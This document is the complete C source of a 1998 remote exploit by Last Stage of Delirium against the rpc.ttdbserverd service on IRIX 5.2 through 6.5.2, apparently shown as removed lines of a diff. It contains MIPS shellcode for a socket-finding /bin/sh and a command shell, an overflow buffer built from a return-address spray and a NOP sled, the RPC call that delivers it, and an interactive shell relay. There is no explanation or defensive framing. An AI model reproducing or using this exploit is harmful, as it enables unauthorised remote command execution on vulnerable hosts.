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- /*## copyright LAST STAGE OF DELIRIUM jul 1998 poland *://lsd-pl.net/ #*/
- /*## rpc.ttdbserverd #*/
-
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <rpc/rpc.h>
- #include <netdb.h>
- #include <stdio.h>
- #include <errno.h>
-
- #define ADRNUM 2000
- #define NOPNUM 18000
-
- #define TTDBSERVERD_PROG 100083
- #define TTDBSERVERD_VERS 1
- #define TTDBSERVERD_ISERASE 7
-
- char findsckcode[]=
- "\x04\x10\xff\xff" /* bltzal $zero,<findsckcode> */
- "\x24\x10\x01\x90" /* li $s0,400 */
- "\x22\x11\xff\xb0" /* addi $s1,$s0,-80 */
- "\x22\x12\xff\xac" /* addi $s2,$s0,-84 */
- "\x22\x0d\xfe\x98" /* addi $t5,$s0,-360 */
- "\x03\xed\x68\x20" /* add $t5,$ra,$t5 */
- "\x01\xa0\xf0\x09" /* jalr $s8,$t5 */
-
- "\x8f\xeb\xff\xc0" /* lw $t3,-64($ra) */
- "\x31\x6b\xff\xff" /* andi $t3,$t3,0xffff */
- "\x21\x6b\x00\x00" /* addi $t3,$t3,0 */
- "\x22\x0d\xfe\xc0" /* addi $t5,$s0,-320 */
- "\x11\x60\xff\xf9" /* beqz $t3,<findsckcode+20> */
-
- "\x22\x24\xfe\xd4" /* addi $a0,$s1,-300 */
- "\x23\xe5\xff\xc0" /* addi $a1,$ra,-64 */
- "\x23\xe6\xff\xbc" /* addi $a2,$ra,-68 */
- "\xaf\xf2\xff\xbc" /* sw $s2,-68($ra) */
- "\x24\x02\x04\x45" /* li $v0,1093 */
- "\x03\xff\xff\xcc" /* syscall */
- "\x22\x31\xff\xff" /* addi $s1,$s1,-1 */
- "\x10\xe0\xff\xf3" /* beqz $a3,<findsckcode+28> */
- "\x22\x2b\xfe\xd4" /* addi $t3,$s1,-300 */
- "\x1d\x60\xff\xf6" /* bgzt $t3,<findsckcode+48> */
-
- "\x22\x04\xfe\x72" /* addi $a0,$s0,-398 */
- "\x24\x02\x03\xee" /* li $v0,1006 */
- "\x03\xff\xff\xcc" /* syscall */
- "\x22\x24\xfe\xd5" /* addi $a0,$s1,-299 */
- "\x22\x05\xfe\x72" /* addi $a1,$s0,-398 */
- "\x24\x02\x04\x11" /* li $v0,1041 */
- "\x03\xff\xff\xcc" /* syscall */
- "\x22\x10\xff\xff" /* addi $s0,$s0,-1 */
- "\x22\x0b\xfe\x72" /* addi $t3,$s0,-398 */
- "\x05\x61\xff\xf6" /* bgez $t3,<findsckcode+88> */
- ;
-
- char shellcode[]=
- "\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */
- "\x24\x02\x03\xf3" /* li $v0,1011 */
- "\x23\xff\x01\x14" /* addi $ra,$ra,276 */
- "\x23\xe4\xff\x08" /* addi $a0,$ra,-248 */
- "\x23\xe5\xff\x10" /* addi $a1,$ra,-220 */
- "\xaf\xe4\xff\x10" /* sw $a0,-220($ra) */
- "\xaf\xe0\xff\x14" /* sw $zero,-236($ra) */
- "\xa3\xe0\xff\x0f" /* sb $zero,-241($ra) */
- "\x03\xff\xff\xcc" /* syscall */
- "/bin/sh"
- ;
-
- char cmdshellcode[]=
- "\x04\x10\xff\xff" /* bltzal $zero,<cmdshellcode> */
- "\x24\x02\x03\xf3" /* li $v0,1011 */
- "\x23\xff\x08\xf4" /* addi $ra,$ra,2292 */
- "\x23\xe4\xf7\x40" /* addi $a0,$ra,-2240 */
- "\x23\xe5\xfb\x24" /* addi $a1,$ra,-1244 */
- "\xaf\xe4\xfb\x24" /* sw $a0,-1244($ra) */
- "\x23\xe6\xf7\x48" /* addi $a2,$ra,-2232 */
- "\xaf\xe6\xfb\x28" /* sw $a2,-1240($ra) */
- "\x23\xe6\xf7\x4c" /* addi $a2,$ra,-2228 */
- "\xaf\xe6\xfb\x2c" /* sw $a2,-1236($ra) */
- "\xaf\xe0\xfb\x30" /* sw $zero,-1232($ra) */
- "\xa3\xe0\xf7\x47" /* sb $zero,-2233($ra) */
- "\xa3\xe0\xf7\x4a" /* sb $zero,-2230($ra) */
- "\x02\x04\x8d\x0c" /* syscall */
- "\x01\x08\x40\x25" /* or $t0,$t0,$t0 */
- "/bin/sh -c "
- ;
-
- static char nop[]="\x24\x0f\x12\x34";
-
- typedef struct{char *string;}req_t;
-
- bool_t xdr_req(XDR *xdrs,req_t *obj){
- if(!xdr_string(xdrs,&obj->string,~0)) return(FALSE);
- return(TRUE);
- }
-
- main(int argc,char **argv){
- char buffer[30000],address[4],*b,*cmd;
- int i,c,n,flag=1,vers=6,port=0,sck;
- CLIENT *cl;enum clnt_stat stat;
- struct hostent *hp;
- struct sockaddr_in adr;
- struct timeval tm={10,0};
- req_t req;
-
- printf("copyright LAST STAGE OF DELIRIUM jul 1998 poland //lsd-pl.net/\n");
- printf("rpc.ttdbserverd for irix 5.2 5.3 6.2 6.3 6.4 6.5 6.5.2 ");
- printf("IP:17,19-22,25-28,30,32\n\n");
-
- if(argc<2){
- printf("usage: %s address [-s|-c command] [-p port] [-v 5]\n",argv[0]);
- exit(-1);
- }
-
- while((c=getopt(argc-1,&argv[1],"sc:p:v:"))!=-1){
- switch(c){
- case 's': flag=1;break;
- case 'c': flag=0;cmd=optarg;break;
- case 'p': port=atoi(optarg);break;
- case 'v': vers=atoi(optarg);
- }
- }
-
- if(vers==5) *(unsigned long*)address=htonl(0x7fff24f4+2000+9000+32700);
- else *(unsigned long*)address=htonl(0x7fff24f4+2000+9000);
-
- printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
- fflush(stdout);
-
- adr.sin_family=AF_INET;
- adr.sin_port=htons(port);
- if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
- if((hp=gethostbyname(argv[1]))==NULL){
- errno=EADDRNOTAVAIL;perror("error");exit(-1);
- }
- memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
- }
-
- sck=RPC_ANYSOCK;
- if(!(cl=clnttcp_create(&adr,TTDBSERVERD_PROG,TTDBSERVERD_VERS,&sck,0,0))){
- clnt_pcreateerror("error");exit(-1);
- }
-
- b=buffer;
- for(i=0;i<ADRNUM;i++) *b++=address[i%4];
- for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
- if(flag){
- i=sizeof(struct sockaddr_in);
- if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
- struct netbuf {unsigned int maxlen;unsigned int len;char *buf;};
- struct netbuf nb;
- ioctl(sck,(('S'<<8)|2),"sockmod");
- nb.maxlen=0xffff;
- nb.len=sizeof(struct sockaddr_in);;
- nb.buf=(char*)&adr;
- ioctl(sck,(('T'<<8)|144),&nb);
- }
- n=-ntohs(adr.sin_port);
- printf("port=%d connected! ",-n);fflush(stdout);
-
- findsckcode[36+2]=(unsigned char)((n&0xff00)>>8);
- findsckcode[36+3]=(unsigned char)(n&0xff);
- for(i=0;i<strlen(findsckcode);i++) *b++=findsckcode[i];
- for(i=0;i<4;i++) *b++=nop[i%4];
- for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
- }else{
- printf("connected! ");fflush(stdout);
- for(i=0;i<strlen(cmdshellcode);i++) *b++=cmdshellcode[i];
- for(i=0;i<4;i++) *b++=' ';
- for(i=0;i<strlen(cmd);i++) *b++=cmd[i];
- }
- *b++=':';
- *b=0;
-
- req.string=buffer;
- cl->cl_auth=authunix_create("localhost",0,0,0,NULL);
- stat=clnt_call(cl,TTDBSERVERD_ISERASE,xdr_req,&req,xdr_void,NULL,tm);
- printf("sent!\n");
- if(!flag) exit(0);
-
- write(sck,"/bin/uname -a\n",14);
- while(1){
- fd_set fds;
- FD_ZERO(&fds);
- FD_SET(0,&fds);
- FD_SET(sck,&fds);
- if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
- int cnt;
- char buf[1024];
- if(FD_ISSET(0,&fds)){
- if((cnt=read(0,buf,1024))<1){
- if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
- else break;
- }
- write(sck,buf,cnt);
- }
- if(FD_ISSET(sck,&fds)){
- if((cnt=read(sck,buf,1024))<1){
- if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
- else break;
- }
- write(1,buf,cnt);
- }
- }
- }
- }
-
-